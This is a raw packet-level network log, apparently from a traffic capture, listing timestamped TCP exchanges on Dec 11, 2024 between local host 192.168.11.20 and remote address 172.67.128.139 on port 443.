Dec 11, 2024 12:45:41.000648975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.000662088 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.000749111 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.000819921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.002541065 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.002569914 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.002806902 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.002821922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.002860069 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.004379034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.004403114 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.004537106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.004553080 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.004635096 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.004745960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.006875038 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.006903887 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.007314920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.007316113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.007316113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.007334948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.008651018 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.008680105 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.008815050 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.008832932 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.008970022 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.010668039 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.010693073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.010818958 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.010997057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.011013985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.012658119 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.012689114 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.012820005 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.012840033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.012881041 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.012972116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.014592886 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.014620066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.014759064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.014782906 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.014894962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.014909029 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.016913891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.016944885 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.017187119 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.017205954 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.017239094 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.018903971 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.018929958 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.019103050 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.019121885 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.019134045 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.019229889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.020829916 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.020859957 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.020997047 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.021017075 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.021074057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.021166086 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.195944071 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.195956945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.196110964 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.196320057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.196326971 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.196532965 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.197849035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.197861910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.198071957 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.198077917 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.198255062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.198331118 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.199795961 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.199809074 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.200109959 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.200117111 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.200155973 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.200272083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.201581955 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.201596975 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.201728106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.201828957 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.201837063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.201900959 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.202033043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.203425884 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.203438997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.203653097 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.203660011 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.203726053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.203910112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.205491066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.205503941 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.205805063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.205811024 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.205877066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.205982924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.207566023 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.207578897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.207771063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.207771063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.207778931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.207819939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.208056927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.209346056 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.209358931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.209664106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.209671021 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.209845066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.211229086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.211240053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.211550951 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.211556911 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.211812019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.213009119 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.213021040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.213237047 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.213421106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.213427067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.213746071 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.215382099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.215394020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.215594053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.215601921 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.215642929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.215924025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.217385054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.217397928 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.217597961 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.217606068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.217778921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.219157934 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.219167948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.219310045 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.219443083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.219445944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.219700098 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.221106052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.221117020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.221328020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.221333027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.221962929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.221962929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.222873926 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.222883940 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.223043919 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.223212004 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.223216057 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.223417044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.224981070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.224991083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.225136995 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.225183010 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.225183010 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.225189924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.225281000 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.225471973 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.226934910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.226944923 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.227138042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.227143049 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.227242947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.227411032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.228847980 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.228857994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.228995085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.229073048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.229075909 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.229244947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.231173992 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.231185913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.231400013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.231405973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.231467962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.231633902 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.233078003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.233087063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.233298063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.233303070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.233366013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.233484030 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.234556913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.234566927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.234688997 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.234834909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.234838009 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.234880924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.234991074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.236346006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.236356020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.236511946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.236516953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.236603022 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.236746073 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.239006042 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.239016056 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.239294052 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.239299059 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.239449978 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.240905046 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.240915060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.241139889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.241147041 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.241348028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.242693901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.242703915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.242856979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.242856979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.242904902 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.242908001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.243061066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.244929075 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.244939089 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.245234966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.245239019 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.245415926 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.246841908 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.246853113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.247117043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.247122049 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.247169018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.247297049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.248684883 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.248693943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.248862982 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.249006033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.249010086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.249146938 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.250463009 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.250473022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.250667095 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.250672102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.250756979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.250926018 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.252773046 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.252782106 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.253099918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.253103971 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.253855944 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.254626036 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.254637003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.254776955 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.254916906 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.254921913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.255070925 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.256396055 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.256405115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.256620884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.256624937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.256813049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.257006884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.258481979 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.258491993 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.258675098 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.258680105 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.258785009 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.258910894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.260142088 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.260153055 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.260377884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.260381937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.260428905 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.260561943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.262670994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.262706041 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.262862921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.262943029 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.262955904 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.263281107 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.264415979 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.264451027 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.264632940 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.264647961 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.264734030 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.264867067 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.266268969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.266405106 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.266479015 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.266496897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.266582966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.266674042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.439896107 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.439933062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.440069914 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.440118074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.440134048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.440212011 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.440432072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.441463947 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.441499949 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.441690922 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.441704988 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.441865921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.443353891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.443391085 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.443530083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.443670034 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.443682909 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.443881035 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.445300102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.445338011 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.445527077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.445527077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.445553064 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.445636034 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.445781946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.447138071 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.447169065 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.447436094 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.447458029 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.447482109 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.447611094 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.449032068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.449059010 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.449345112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.449394941 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.449415922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.449583054 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.449583054 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.450568914 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.450604916 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.450719118 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.450783968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.450795889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.450885057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.450962067 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.452239990 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.452277899 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.452394962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.452440977 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.452451944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.452537060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.452616930 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.454113007 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.454142094 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.454307079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.454307079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.454328060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.454452991 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.454554081 CET	49763	443	192.168.11.20	172.67.128.139
